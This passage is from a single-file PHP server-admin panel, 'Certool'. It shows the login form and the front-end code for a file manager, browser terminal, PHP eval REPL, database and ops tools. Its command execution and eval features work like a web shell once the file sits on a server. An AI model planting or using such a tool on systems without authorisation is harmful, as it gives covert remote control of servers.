<div class="login-brand"><h1>Cer<span>tool</span></h1><p class="tagline">Server ops, one file.</p><p class="ver">v<?php echo CERN_VERSION; ?></p></div>
<div class="login-panel"><div class="login-card">
<h2>Sign in</h2><p class="hint">Enter your credentials to continue.</p>
<form id="lf" onsubmit="return doLogin(event)">
<div class="fd"><label>Kullanici</label><input id="lu" autocomplete="username" required autofocus></div>
<div class="fd"><label>Sifre</label><input id="lp" type="password" autocomplete="current-password" required></div>
<div class="fd" id="totp-wrap" style="display:none"><label>2FA (TOTP)</label><input id="ltotp" maxlength="6" pattern="[0-9]{6}" inputmode="numeric" autocomplete="one-time-code" placeholder="000000"></div>
<button type="submit" class="btn-login" id="lbtn">Giris</button><div class="err" id="le"></div>
</form></div></div></div>
<script>
fetch('?action=auth.status').then(function(r){return r.json();}).then(function(d){if(d.totp_required)document.getElementById('totp-wrap').style.display='block';});
function doLogin(e){e.preventDefault();var b=document.getElementById('lbtn');b.disabled=true;b.textContent='...';
var body={user:document.getElementById('lu').value,pass:document.getElementById('lp').value};
var totp=document.getElementById('ltotp');if(totp&&totp.value)body.totp=totp.value;
fetch('?action=login',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify(body)})
.then(function(r){return r.json()}).then(function(d){if(d.ok)location.reload();else{if(d.totp_required)document.getElementById('totp-wrap').style.display='block';document.getElementById('le').textContent=d.error||'Hata';document.getElementById('le').style.display='block';b.disabled=false;b.textContent='Giris';}})
.catch(function(){document.getElementById('le').textContent='Baglanti hatasi';document.getElementById('le').style.display='block';b.disabled=false;b.textContent='Giris';});return false;}
</script></body></html><?php exit; endif;
$csrf = cern_csrf();
$lang = $_SESSION['cern_lang'] ?? CERN_LANG_DEFAULT;
$theme = $_SESSION['cern_theme'] ?? 'light';
$defPath = addslashes(cern_jail()->default_path());
$jsRepl = CERN_REPL_ENABLED ? 'true' : 'false';
$jsRedis = class_exists('Redis') ? 'true' : 'false';
?><!DOCTYPE html>
<html lang="<?php echo htmlspecialchars($lang); ?>" data-theme="<?php echo htmlspecialchars($theme); ?>">
<head>
<meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="robots" content="noindex,nofollow">
<title>Certool v<?php echo CERN_VERSION; ?></title>
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=DM+Sans:ital,opsz,wght@0,9..40,400;0,9..40,500;0,9..40,600;0,9..40,700&family=JetBrains+Mono:wght@400;500&display=swap" rel="stylesheet">
<style>
:root{--bg:#f5f7fa;--bg2:#ffffff;--bg3:#eef2f7;--border:#cbd5e1;--text:#0f172a;--text2:#64748b;--accent:#0d9488;--accent2:#0f766e;--green:#059669;--red:#dc2626;--blue:#0284c7;--abw:48px;--tabh:36px;--sbh:26px;--tdh:220px;--shadow:0 1px 3px rgba(15,23,42,.08),0 4px 12px rgba(15,23,42,.04)}
[data-theme="dark"]{--bg:#0f172a;--bg2:#1e293b;--bg3:#334155;--border:#475569;--text:#f1f5f9;--text2:#94a3b8;--accent:#14b8a6;--accent2:#0d9488;--green:#34d399;--red:#f87171;--blue:#38bdf8;--shadow:0 4px 16px rgba(0,0,0,.3)}
*{margin:0;padding:0;box-sizing:border-box}html,body{height:100%;font-family:'DM Sans',system-ui,sans-serif;font-size:14px;background:var(--bg);color:var(--text);overflow:hidden}
#app{display:flex;flex-direction:column;height:100vh;overflow:hidden;background:var(--bg)}
#app-body{display:flex;flex:1;min-height:0;overflow:hidden}
#activitybar{width:var(--abw);min-width:var(--abw);background:var(--bg2);border-right:1px solid var(--border);display:flex;flex-direction:column;align-items:center;padding:6px 0;gap:2px;z-index:10}
.ab-logo{padding:8px 0 12px;font-size:11px;font-weight:700;color:var(--accent);letter-spacing:-.3px;writing-mode:vertical-rl;transform:rotate(180deg);opacity:.85}
.ab-item{width:40px;height:40px;display:flex;align-items:center;justify-content:center;border-radius:8px;cursor:pointer;font-size:18px;color:var(--text2);border:none;background:transparent;transition:all .12s;position:relative}
.ab-item:hover{background:var(--bg3);color:var(--text)}.ab-item.active{background:rgba(13,148,136,.14);color:var(--accent);box-shadow:inset 0 0 0 1px rgba(13,148,136,.25)}
.ab-item .tip{display:none;position:absolute;left:calc(100% + 8px);top:50%;transform:translateY(-50%);background:var(--text);color:var(--bg2);padding:4px 10px;border-radius:6px;font-size:11px;white-space:nowrap;z-index:100;font-weight:500}
.ab-item:hover .tip{display:block}.ab-spacer{flex:1}
.ab-logout{font-size:14px;color:var(--red)!important;text-decoration:none}
#main-pane{flex:1;display:flex;flex-direction:column;min-width:0;overflow:hidden}
#tabbar{height:var(--tabh);min-height:var(--tabh);background:var(--bg2);border-bottom:1px solid var(--border);display:flex;align-items:stretch;overflow-x:auto;flex-shrink:0}
.tab{display:flex;align-items:center;gap:6px;padding:0 14px;font-size:12px;font-weight:500;color:var(--text2);cursor:pointer;border-right:1px solid var(--border);white-space:nowrap;transition:all .1s;user-select:none}
.tab:hover{background:var(--bg3);color:var(--text)}.tab.active{background:var(--bg);color:var(--accent);border-bottom:2px solid var(--accent);margin-bottom:-1px}
.tab .x{font-size:14px;opacity:.4;padding:2px 4px;border-radius:4px;line-height:1}.tab .x:hover{opacity:1;background:rgba(220,38,38,.12);color:var(--red)}
.tab-actions{margin-left:auto;display:flex;align-items:center;gap:4px;padding:0 8px;flex-shrink:0}
.tb{padding:4px 9px;background:var(--bg3);border:1px solid var(--border);border-radius:6px;color:var(--text2);cursor:pointer;font-size:11px;font-family:inherit;transition:all .12s}.tb:hover{border-color:var(--accent);color:var(--accent)}
#workspace-wrap{flex:1;display:flex;flex-direction:column;min-height:0;overflow:hidden}
#workspace{flex:1;overflow-y:auto;padding:16px 18px}
#term-drawer{border-top:1px solid var(--border);background:var(--bg2);display:flex;flex-direction:column;transition:height .2s ease;flex-shrink:0}
#term-drawer.collapsed{height:28px!important}#term-drawer.open{height:var(--tdh)}
.term-hdr{height:28px;display:flex;align-items:center;padding:0 12px;gap:8px;background:var(--bg3);cursor:pointer;font-size:11px;font-weight:600;color:var(--text2);text-transform:uppercase;letter-spacing:.8px;flex-shrink:0}
.term-hdr .chev{transition:transform .2s}#term-drawer.open .term-hdr .chev{transform:rotate(180deg)}
.term-body{display:none;flex:1;flex-direction:column;padding:8px 12px 10px;min-height:0;overflow:hidden}#term-drawer.open .term-body{display:flex}
.term{background:#0f172a;color:#34d399;font-family:'JetBrains Mono',monospace;font-size:12px;padding:10px;border-radius:8px;flex:1;overflow-y:auto;white-space:pre-wrap;border:1px solid var(--border);min-height:80px}
.term-input{display:flex;gap:8px;align-items:center;margin-top:6px;flex-shrink:0}
#statusbar{height:var(--sbh);min-height:var(--sbh);background:var(--bg2);border-top:1px solid var(--border);display:flex;align-items:center;padding:0 12px;gap:16px;font-size:11px;font-family:'JetBrains Mono',monospace;color:var(--text2);flex-shrink:0}
.sb-item{display:flex;align-items:center;gap:5px}.sb-item .dot{width:6px;height:6px;border-radius:50%;background:var(--green)}.sb-item .dot.off{background:var(--red)}
.sb-path{flex:1;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;color:var(--accent)}
.cards{display:grid;grid-template-columns:repeat(auto-fill,minmax(240px,1fr));gap:14px}
.card{background:var(--bg2);border:1px solid var(--border);border-radius:12px;padding:18px;box-shadow:var(--shadow)}.card h3{font-size:11px;color:var(--text2);text-transform:uppercase;letter-spacing:.5px;margin-bottom:10px;font-weight:600}
.card .val{font-size:26px;font-weight:700;color:var(--accent)}.card .sub{font-size:12px;color:var(--text2);margin-top:4px}
.progress{height:6px;background:var(--bg3);border-radius:4px;margin-top:8px;overflow:hidden}.pbar{height:100%;background:linear-gradient(90deg,var(--accent),var(--accent2));border-radius:4px}
.tile-grid{display:grid;grid-template-columns:repeat(auto-fill,minmax(160px,1fr));gap:12px;margin-top:16px}
.tile{background:var(--bg2);border:1px solid var(--border);border-radius:10px;padding:16px;cursor:pointer;transition:all .12s;text-align:left;font-family:inherit;color:inherit}
.tile:hover{border-color:var(--accent);box-shadow:var(--shadow);transform:translateY(-1px)}.tile .ti{font-size:22px;margin-bottom:8px}.tile .tn{font-size:13px;font-weight:600;color:var(--text);margin-bottom:4px}.tile .td{font-size:11px;color:var(--text2);line-height:1.4}
.vitals{display:flex;gap:12px;flex-wrap:wrap;margin-bottom:4px}
.vital{flex:1;min-width:120px;background:var(--bg2);border:1px solid var(--border);border-radius:10px;padding:12px 14px}.vital .vl{font-size:10px;text-transform:uppercase;letter-spacing:.5px;color:var(--text2);font-weight:600}.vital .vv{font-size:20px;font-weight:700;color:var(--accent);margin-top:4px}
.qactions{display:flex;gap:8px;flex-wrap:wrap;margin-top:14px}
table{width:100%;border-collapse:collapse;font-size:13px}th{text-align:left;padding:8px 12px;border-bottom:2px solid var(--border);color:var(--text2);font-size:11px;text-transform:uppercase;font-weight:600}
td{padding:8px 12px;border-bottom:1px solid var(--border)}tr:hover td{background:var(--bg3)}
input,select,textarea{padding:8px 11px;background:var(--bg2);border:1px solid var(--border);border-radius:8px;color:var(--text);font-size:13px;outline:none;font-family:inherit;transition:border-color .12s,box-shadow .12s}
input:focus,select:focus,textarea:focus{border-color:var(--accent);box-shadow:0 0 0 3px rgba(13,148,136,.12)}textarea{width:100%;min-height:80px;font-family:'JetBrains Mono',monospace}
.btn{display:inline-flex;align-items:center;padding:7px 14px;border:1px solid var(--border);border-radius:8px;background:var(--bg2);color:var(--text);font-size:13px;cursor:pointer;font-family:inherit;transition:all .12s}.btn:hover{border-color:var(--accent);color:var(--accent)}
.btn-gold{background:var(--accent);color:#fff;border:none;font-weight:600}.btn-gold:hover{background:var(--accent2);color:#fff;border:none}
.btn-sm{padding:4px 10px;font-size:12px}.btn-red{border-color:var(--red);color:var(--red)}.btn-red:hover{background:rgba(220,38,38,.08)}
.badge{display:inline-block;padding:2px 8px;border-radius:10px;font-size:11px;font-weight:600}
.badge-g{background:rgba(5,150,105,.12);color:var(--green)}.badge-r{background:rgba(220,38,38,.12);color:var(--red)}.badge-o{background:rgba(13,148,136,.12);color:var(--accent)}
.mo{position:fixed;inset:0;background:rgba(15,23,42,.4);z-index:1000;display:flex;align-items:center;justify-content:center;opacity:0;pointer-events:none;transition:opacity .2s;backdrop-filter:blur(2px)}.mo.open{opacity:1;pointer-events:auto}
.modal{background:var(--bg2);border:1px solid var(--border);border-radius:14px;width:92%;max-width:720px;max-height:88vh;display:flex;flex-direction:column;box-shadow:var(--shadow)}
.mh{padding:14px 20px;border-bottom:1px solid var(--border);display:flex;justify-content:space-between;align-items:center}.mh h3{color:var(--accent);font-size:15px;font-weight:600}
.mc{background:none;border:none;color:var(--text2);cursor:pointer;font-size:22px}.mb{padding:18px;overflow-y:auto;flex:1}
#toasts{position:fixed;bottom:36px;right:16px;z-index:2000;display:flex;flex-direction:column-reverse;gap:8px}
.toast{padding:11px 16px;border-radius:10px;font-size:13px;background:var(--bg2);border:1px solid var(--border);box-shadow:var(--shadow);animation:ti .3s;font-weight:500}
.toast.err{border-color:var(--red);background:#fef2f2;color:var(--red)}.toast.ok{border-color:var(--green);background:#ecfdf5;color:var(--green)}
@keyframes ti{from{transform:translateY(12px);opacity:0}to{opacity:1}}
.tbar{display:flex;gap:8px;margin-bottom:14px;flex-wrap:wrap;align-items:center}
.bulk-bar{display:flex;gap:8px;margin-bottom:10px;padding:8px 12px;background:rgba(13,148,136,.06);border:1px solid rgba(13,148,136,.2);border-radius:8px;align-items:center}
.bc{font-size:12px;color:var(--text2);margin-bottom:10px;word-break:break-all}.bc a{color:var(--blue);cursor:pointer;text-decoration:none}
.file-panes{display:grid;grid-template-columns:1fr 1fr;gap:12px}.file-pane{min-width:0;border:1px solid var(--border);border-radius:10px;padding:10px;background:var(--bg2)}
.flist-drop{min-height:120px;border-radius:8px;transition:background .15s}.flist-drop.dragover{background:rgba(13,148,136,.08);outline:2px dashed var(--accent)}
.kbd{font-size:10px;padding:2px 5px;background:var(--bg3);border:1px solid var(--border);border-radius:4px;font-family:'JetBrains Mono',monospace;color:var(--text2)}
.pre{font-family:'JetBrains Mono',monospace;font-size:12px;background:var(--bg3);padding:14px;border-radius:10px;border:1px solid var(--border);white-space:pre-wrap;word-break:break-all;max-height:400px;overflow:auto}
.editor-ta{width:100%;min-height:360px;background:var(--bg3);color:var(--text);border:1px solid var(--border);border-radius:10px;padding:14px;font-family:'JetBrains Mono',monospace;font-size:13px}
.empty{text-align:center;padding:48px;color:var(--text2)}
#palette{position:fixed;top:15%;left:50%;transform:translateX(-50%);width:480px;max-width:92%;background:var(--bg2);border:1px solid var(--border);border-radius:14px;z-index:3000;display:none;box-shadow:var(--shadow)}
#palette.open{display:block}#palette input{width:100%;padding:14px 18px;border:none;border-bottom:1px solid var(--border);background:transparent;color:var(--text);font-size:15px;outline:none;font-family:inherit}
.pl-item{padding:11px 18px;cursor:pointer;font-size:13px}.pl-item:hover,.pl-item.sel{background:var(--bg3);color:var(--accent)}
.flex{display:flex}.g2{gap:8px}.mt2{margin-top:8px}.mb2{margin-bottom:8px}.f1{flex:1}.tm{color:var(--text2);font-size:12px}
@media(max-width:768px){.file-panes{grid-template-columns:1fr}.tile-grid{grid-template-columns:repeat(auto-fill,minmax(130px,1fr))}}
</style></head><body>
<div id="app">
<div id="app-body">
<div id="activitybar"></div>
<div id="main-pane">
<div id="tabbar"><div id="tabs"></div><div class="tab-actions"><button class="tb" onclick="App.togglePalette()" title="Ctrl+K">⌘K</button><button class="tb" onclick="App.toggleTheme()">◐</button><button class="tb" onclick="App.toggleLang()">TR/EN</button></div></div>
<div id="workspace-wrap">
<div id="workspace"><div class="empty">Yukleniyor...</div></div>
<div id="term-drawer" class="collapsed">
<div class="term-hdr" onclick="App.toggleTerm()"><span class="chev">▾</span> Terminal <span class="tm" style="margin-left:auto;font-weight:400;text-transform:none">` toggle</span></div>
<div class="term-body"><div class="term" id="tout">Certool Terminal — press ` to open\n</div><div class="term-input"><span class="tm" id="tcwd-label"><?php echo htmlspecialchars(cern_jail()->default_path()); ?></span><input class="f1" id="tcmd" placeholder="command..." onkeydown="if(event.key==='Enter')App.runCmd()"><button class="btn btn-sm btn-gold" onclick="App.runCmd()">Run</button></div></div>
</div></div></div></div>
<div id="statusbar"><span class="sb-item"><span class="dot" id="sb-shell"></span><span id="sb-shell-t">shell</span></span><span class="sb-item" id="sb-php">php</span><span class="sb-item" id="sb-disk">disk</span><span class="sb-item" id="sb-user">user</span><span class="sb-path" id="sb-path"><?php echo htmlspecialchars(cern_jail()->default_path()); ?></span></div>
</div>
<div class="mo" id="mo" onclick="if(event.target===this)App.closeModal()"><div class="modal"><div class="mh"><h3 id="mtitle"></h3><button class="mc" onclick="App.closeModal()">×</button></div><div class="mb" id="mbody"></div></div></div>
<div id="palette"><input id="pl-input" placeholder="Modul veya komut ara..." autocomplete="off"><div id="pl-list"></div></div>
<div id="toasts"></div>
<script>
var P=location.pathname,CSRF='<?php echo $csrf; ?>';
var L={tr:{dashboard:'Dashboard',files:'Dosyalar',health:'Saglik',terminal:'Terminal',database:'Veritabani',logs:'Loglar',backup:'Yedek',network:'Ag',security:'Guvenlik',doctor:'Doctor',malware:'Malware',ssl:'SSL Radar',hosting:'Hosting',redis:'Redis',repl:'REPL',wordpress:'WordPress',cache:'Onbellek',processes:'Surecler',cron:'Cron',domains:'Domainler',settings:'Ayarlar',loading:'Yukleniyor...',save:'Kaydet',delete:'Sil',upload:'Yukle',edit:'Duzenle',refresh:'Yenile',search:'Ara',newFolder:'Yeni Klasor',newFile:'Yeni Dosya',rename:'Yeniden Adlandir',chmod:'Izin',download:'Indir',name:'Ad',size:'Boyut',date:'Tarih',perms:'Izin',actions:'Islem',sync:'Sync',tail:'Tail',hash:'Hash',integrity:'Integrity'},
en:{dashboard:'Dashboard',files:'Files',health:'Health',terminal:'Terminal',database:'Database',logs:'Logs',backup:'Backup',network:'Network',security:'Security',doctor:'Doctor',malware:'Malware',ssl:'SSL Radar',hosting:'Hosting',redis:'Redis',repl:'REPL',wordpress:'WordPress',cache:'Cache',processes:'Processes',cron:'Cron',domains:'Domains',settings:'Settings',loading:'Loading...',save:'Save',delete:'Delete',upload:'Upload',edit:'Edit',refresh:'Refresh',search:'Search',newFolder:'New Folder',newFile:'New File',rename:'Rename',chmod:'Chmod',download:'Download',name:'Name',size:'Size',date:'Date',perms:'Perms',actions:'Actions',sync:'Sync',tail:'Tail',hash:'Hash',integrity:'Integrity'}};
var App={lang:'<?php echo $lang; ?>',theme:'<?php echo $theme; ?>',page:'files',fpath:'<?php echo $defPath; ?>',fpath2:'<?php echo $defPath; ?>',roots:[],selected:[],hasRedis:<?php echo $jsRedis; ?>,hasRepl:<?php echo $jsRepl; ?>,tailTimer:null,tailPath:null,tailOffset:0,splitFiles:false,termOpen:false,statusTimer:null,statusData:{},activeActivity:'files',activeTab:'files',tabs:[{id:'files',page:'files',title:'Files',pinned:true},{id:'cockpit',page:'cockpit',title:'Cockpit',pinned:true}],db:{driver:'mysql',db_host:'127.0.0.1',db_port:'3306',db_user:'root',db_pass:'',db_name:''},tcwd:'<?php echo $defPath; ?>',
t:function(k){return(L[this.lang]||L.tr)[k]||k;},
esc:function(s){if(s==null)return'';var d=document.createElement('div');d.textContent=String(s);return d.innerHTML;},
fsize:function(b){if(!b)return'0 B';var u=['B','KB','MB','GB'],i=Math.floor(Math.log(b)/Math.log(1024));return(b/Math.pow(1024,i)).toFixed(i?1:0)+' '+u[i];},
ws:function(){return document.getElementById('workspace');},
api:function(action,data,method){var opts={method:method||'POST',headers:{'Content-Type':'application/json'}};if(method==='GET'){var qs='?action='+encodeURIComponent(action);if(data)Object.keys(data).forEach(function(k){qs+='&'+encodeURIComponent(k)+'='+encodeURIComponent(data[k]);});return fetch(P+qs).then(function(r){return r.json();});}data=data||{};data.csrf=CSRF;opts.body=JSON.stringify(data);return fetch(P+'?action='+encodeURIComponent(action),opts).then(function(r){return r.json().then(function(j){if(!r.ok)throw j;return j;});});},
toast:function(m,t){var d=document.createElement('div');d.className='toast '+(t||'');d.textContent=m;document.getElementById('toasts').appendChild(d);setTimeout(function(){d.remove();},3500);},
modal:function(t,h){document.getElementById('mtitle').textContent=t;document.getElementById('mbody').innerHTML=h;document.getElementById('mo').classList.add('open');},
closeModal:function(){if(this.tailTimer){clearInterval(this.tailTimer);this.tailTimer=null;}document.getElementById('mo').classList.remove('open');},
toggleTheme:function(){this.theme=this.theme==='light'?'dark':'light';document.documentElement.setAttribute('data-theme',this.theme);this.api('settings.save',{theme:this.theme});},
toggleLang:function(){this.lang=this.lang==='tr'?'en':'tr';this.api('settings.save',{lang:this.lang});this.buildActivity();this.renderTabs();this.go(this.page,true);},
actMap:{cockpit:'cockpit',dashboard:'cockpit',files:'files',database:'database',wordpress:'wordpress',network:'network',settings:'settings',security:'security',doctor:'security',malware:'security',ssl:'security',ops:'ops',health:'ops',terminal:'ops',logs:'ops',backup:'ops',processes:'ops',cron:'ops',cache:'ops',domains:'ops',hosting:'ops',redis:'ops',repl:'ops'},
activityItems:[{id:'cockpit',icon:'◉',tip:'Cockpit',page:'cockpit'},{id:'files',icon:'📁',tip:'Files',page:'files'},{id:'database',icon:'🗄',tip:'Database',page:'database'},{id:'wordpress',icon:'W',tip:'WordPress',page:'wordpress'},{id:'security',icon:'🛡',tip:'Security',page:'security'},{id:'network',icon:'🌐',tip:'Network',page:'network'},{id:'ops',icon:'⚡',tip:'Ops',page:'ops'},{id:'settings',icon:'⚙',tip:'Settings',page:'settings'}],
buildActivity:function(){var ab=document.getElementById('activitybar'),h='<div class="ab-logo">CT</div>';this.activityItems.forEach(function(it){h+='<button class="ab-item'+(this.activeActivity===it.id?' active':'')+'" onclick="App.go(\''+it.page+'\')" title="'+it.tip+'">'+it.icon+'<span class="tip">'+it.tip+'</span></button>';}.bind(this));h+='<div class="ab-spacer"></div><a class="ab-item ab-logout" href="?logout" title="Logout">⏻</a>';ab.innerHTML=h;},
renderTabs:function(){var el=document.getElementById('tabs'),h='';this.tabs.forEach(function(t){h+='<div class="tab'+(this.activeTab===t.id?' active':'')+'" onclick="App.focusTab(\''+t.id+'\')">'+App.esc(t.title)+(t.pinned?'':'<span class="x" onclick="event.stopPropagation();App.closeTab(\''+t.id+'\')">×</span>')+'</div>';}.bind(this));el.innerHTML=h;},
focusTab:function(id){var t=this.tabs.find(function(x){return x.id===id;});if(!t)return;this.activeTab=id;this.go(t.page,true);},
closeTab:function(id){var t=this.tabs.find(function(x){return x.id===id;});if(!t||t.pinned)return;var i=this.tabs.findIndex(function(x){return x.id===id;});this.tabs.splice(i,1);if(this.activeTab===id){var n=this.tabs[Math.max(0,i-1)];this.focusTab(n.id);}else this.renderTabs();},
openTab:function(page,title){var norm=page==='dashboard'?'cockpit':page,id=norm,t=this.tabs.find(function(x){return x.page===norm;});if(t){this.activeTab=t.id;this.renderTabs();return t;}if(!title)title=norm==='cockpit'?'Cockpit':(this.t(norm)||norm);this.tabs.push({id:id,page:norm,title:title,pinned:(norm==='cockpit'||norm==='files')});this.activeTab=id;this.renderTabs();},
go:function(p,skip){if(this.tailTimer){clearInterval(this.tailTimer);this.tailTimer=null;}if(p==='dashboard')p='cockpit';this.page=p;if(!skip)location.hash=p;this.activeActivity=this.actMap[p]||'cockpit';this.buildActivity();this.openTab(p);var loaders={cockpit:'loadCockpit',dashboard:'loadCockpit',files:'loadFiles',health:'loadHealth',terminal:'loadTerminal',database:'loadDatabase',logs:'loadLogs',backup:'loadBackup',network:'loadNetwork',security:'loadSecurity',doctor:'loadDoctor',malware:'loadMalware',ssl:'loadSsl',hosting:'loadHosting',redis:'loadRedis',repl:'loadRepl',wordpress:'loadWordpress',cache:'loadCache',processes:'loadProcesses',cron:'loadCron',domains:'loadDomains',settings:'loadSettings',ops:'loadOps'};
if(loaders[p]&&this[loaders[p]])this[loaders[p]]();else this.ws().innerHTML='<div class="empty">'+this.t('loading')+'</div>';this.updateStatusPath();},
updateStatusPath:function(){var el=document.getElementById('sb-path');if(el)el.textContent=this.fpath;},
pollStatus:function(){this.api('dashboard',{}).then(function(d){App.statusData=d;var sh=document.getElementById('sb-shell'),st=document.getElementById('sb-shell-t');if(sh){sh.className='dot'+(d.shell?'':' off');st.textContent=d.shell?'shell ok':'shell off';}var sp=document.getElementById('sb-php');if(sp)sp.textContent='php '+App.esc(d.php||'');var sd=document.getElementById('sb-disk');if(sd)sd.textContent='disk '+((d.disk&&d.disk.percent)||0)+'%';var su=document.getElementById('sb-user');if(su)su.textContent=App.esc(d.user||'')+' @ '+App.esc(d.hostname||'');}).catch(function(){});},
startStatusPoll:function(){this.pollStatus();if(this.statusTimer)clearInterval(this.statusTimer);this.statusTimer=setInterval(function(){App.pollStatus();},20000);},
toggleTerm:function(force){var d=document.getElementById('term-drawer');this.termOpen=force!=null?force:!this.termOpen;d.classList.toggle('open',this.termOpen);d.classList.toggle('collapsed',!this.termOpen);if(this.termOpen){var c=document.getElementById('tcmd');if(c)c.focus();}},
loadCockpit:function(){var c=this.ws();c.innerHTML='<div class="empty">'+this.t('loading')+'</div>';this.api('dashboard',{}).then(function(d){App.statusData=d;var h='<div class="vitals">';
h+='<div class="vital"><div class="vl">RAM</div><div class="vv">'+((d.ram&&d.ram.percent)||0)+'%</div><div class="progress"><div class="pbar" style="width:'+((d.ram&&d.ram.percent)||0)+'%"></div></div></div>';
h+='<div class="vital"><div class="vl">Disk</div><div class="vv">'+((d.disk&&d.disk.percent)||0)+'%</div><div class="sub">'+App.fsize(d.disk&&d.disk.free)+' free</div></div>';
h+='<div class="vital"><div class="vl">Shell</div><div class="vv">'+(d.shell?'<span class="badge badge-g">OK</span>':'<span class="badge badge-r">OFF</span>')+'</div></div>';
h+='<div class="vital"><div class="vl">Host</div><div class="vv" style="font-size:14px">'+App.esc(d.hostname)+'</div><div class="sub">'+App.esc(d.user)+' · '+App.esc(d.php)+'</div></div></div>';
h+='<div class="qactions"><button class="btn btn-sm btn-gold" onclick="App.cacheReset()">OPcache flush</button><button class="btn btn-sm" onclick="App.go(\'wordpress\')">WP scan</button><button class="btn btn-sm" onclick="App.go(\'malware\')">Malware scan</button><button class="btn btn-sm" onclick="App.mkBackup()">Backup now</button></div>';
h+='<div class="tile-grid">';var tiles=[{i:'📁',n:'Files',d:'Browse, edit, upload',p:'files'},{i:'🗄',n:'Database',d:'MySQL / PG / SQLite',p:'database'},{i:'W',n:'WordPress',d:'Scan & repair sites',p:'wordpress'},{i:'🛡',n:'Security',d:'Audit, doctor, SSL',p:'security'},{i:'🌐',n:'Network',d:'DNS, port, HTTP',p:'network'},{i:'⚡',n:'Ops',d:'Cron, logs, backup',p:'ops'},{i:'📊',n:'Health',d:'Probe & capabilities',p:'health'},{i:'⚙',n:'Settings',d:'Alerts, 2FA, notes',p:'settings'}];
tiles.forEach(function(t){h+='<button class="tile" onclick="App.go(\''+t.p+'\')"><div class="ti">'+t.i+'</div><div class="tn">'+t.n+'</div><div class="td">'+t.d+'</div></button>';});h+='</div>';c.innerHTML=h;}).catch(function(e){c.innerHTML='<div class="empty">'+App.esc(e.error||'Error')+'</div>';});},
loadOps:function(){var c=this.ws(),tiles=[{i:'📋',n:'Processes',d:'Running processes',p:'processes'},{i:'⏰',n:'Cron',d:'Schedule jobs',p:'cron'},{i:'📜',n:'Logs',d:'Tail system logs',p:'logs'},{i:'💾',n:'Backup',d:'Create & list backups',p:'backup'},{i:'🗂',n:'Domains',d:'Virtual hosts',p:'domains'},{i:'🧹',n:'Cache',d:'OPcache status',p:'cache'},{i:'🏠',n:'Hosting',d:'Panel detection',p:'hosting'},{i:'>`',n:'Terminal',d:'Open shell drawer',p:'terminal',fn:'App.toggleTerm(true)'}];
if(this.hasRedis)tiles.push({i:'🔴',n:'Redis',d:'Key browser',p:'redis'});if(this.hasRepl)tiles.push({i:'PHP',n:'REPL',d:'Eval PHP code',p:'repl'});
var h='<div style="margin-bottom:12px;font-weight:600;color:var(--text2);font-size:12px;text-transform:uppercase;letter-spacing:.8px">Ops Console</div><div class="tile-grid">';
tiles.forEach(function(t){h+='<button class="tile" onclick="'+(t.fn||('App.go(\''+t.p+'\')'))+'"><div class="ti">'+t.i+'</div><div class="tn">'+t.n+'</div><div class="td">'+t.d+'</div></button>';});h+='</div>';c.innerHTML=h;},
loadHealth:function(){var c=document.getElementById('workspace');this.api('health',{}).then(function(d){var p=d.probe||{},h='<div class="cards">';
['shell_any','zip','curl','openssl','posix','opcache','writable_self','writable_tmp','is_root'].forEach(function(k){h+='<div class="card"><h3>'+k+'</h3><div class="val" style="font-size:16px">'+(p[k]?'<span class="badge badge-g">YES</span>':'<span class="badge badge-r">NO</span>')+'</div></div>';});
h+='</div><div class="mt2"><h3 class="mb2">PDO Drivers</h3><div class="pre">'+App.esc((p.pdo_drivers||[]).join(', '))+'</div></div>';
h+='<div class="mt2"><h3 class="mb2">Roots ('+(d.roots_count||0)+')</h3></div>';c.innerHTML=h;}).catch(function(e){c.innerHTML='<div class="empty">'+App.esc(e.error||'Error')+'</div>';});},
loadDashboard:function(){this.loadCockpit();},
loadFiles:function(){var c=this.ws();if(!this.roots.length){this.api('files.roots',{}).then(function(r){App.roots=r.roots||[];if(r.default){App.fpath=r.default;if(!App.fpath2)App.fpath2=r.default;}App._renderFiles(c);});}else this._renderFiles(c);},
toggleSplitFiles:function(){this.splitFiles=!this.splitFiles;if(this.splitFiles&&!this.fpath2)this.fpath2=this.fpath;this.loadFiles();},
_renderFiles:function(c){var self=this,sp=this.splitFiles;
var tb='<div class="tbar"><select id="froot" onchange="App.switchRoot(this.value)">'+this.roots.map(function(r){return'<option value="'+App.esc(r.path)+'"'+(r.path===self.fpath?' selected':'')+'>'+App.esc(r.label)+' — '+App.esc(r.path)+' ('+(r.writable?'W':'R')+')</option>';}).join('')+'</select><button class="btn btn-sm'+(sp?' btn-gold':'')+'" onclick="App.toggleSplitFiles()">Dual</button><button class="btn btn-sm" onclick="App.refreshFiles()">'+this.t('refresh')+'</button><button class="btn btn-sm btn-gold" onclick="App.newFile()">'+this.t('newFile')+'</button><button class="btn btn-sm" onclick="App.newFolder()">'+this.t('newFolder')+'</button><button class="btn btn-sm" onclick="App.uploadFile()">'+this.t('upload')+'</button><button class="btn btn-sm" onclick="App.syncDirs()">'+this.t('sync')+'</button><button class="btn btn-sm" onclick="App.integritySave()">'+this.t('integrity')+'</button><button class="btn btn-sm" onclick="App.integrityCheck()">Check</button><input type="text" id="fsearch" placeholder="'+this.t('search')+'..." style="width:120px"><button class="btn btn-sm" onclick="App.searchFiles()">'+this.t('search')+'</button></div>';
var bulk='<div class="bulk-bar" id="fbulk" style="display:none"><button class="btn btn-sm btn-red" onclick="App.bulkDelete()">Delete selected</button><button class="btn btn-sm" onclick="App.bulkZip()">Zip selected</button>'+(sp?'<button class="btn btn-sm" onclick="App.copyToOtherPane()">Copy to other pane</button>':'')+'</div>';
var lists=sp?'<div class="file-panes"><div class="file-pane"><div class="bc" id="fbc-a"></div><div class="flist-drop" id="flist-a" data-pane="a"><div class="empty">'+this.t('loading')+'</div></div></div><div class="file-pane"><div class="bc" id="fbc-b"></div><div class="flist-drop" id="flist-b" data-pane="b"><div class="empty">'+this.t('loading')+'</div></div></div></div>':'<div class="bc" id="fbc"></div><div class="flist-drop" id="flist" data-pane="a"><div class="empty">'+this.t('loading')+'</div></div>';
c.innerHTML=tb+bulk+lists;this._bc('a',this.fpath);if(sp)this._bc('b',this.fpath2);this._loadFileList('a',this.fpath);if(sp)this._loadFileList('b',this.fpath2);this._bindDropzones();},
_loadFileList:function(pane,path){var self=this,elId= pane==='b'?'flist-b':(this.splitFiles?'flist-a':'flist');
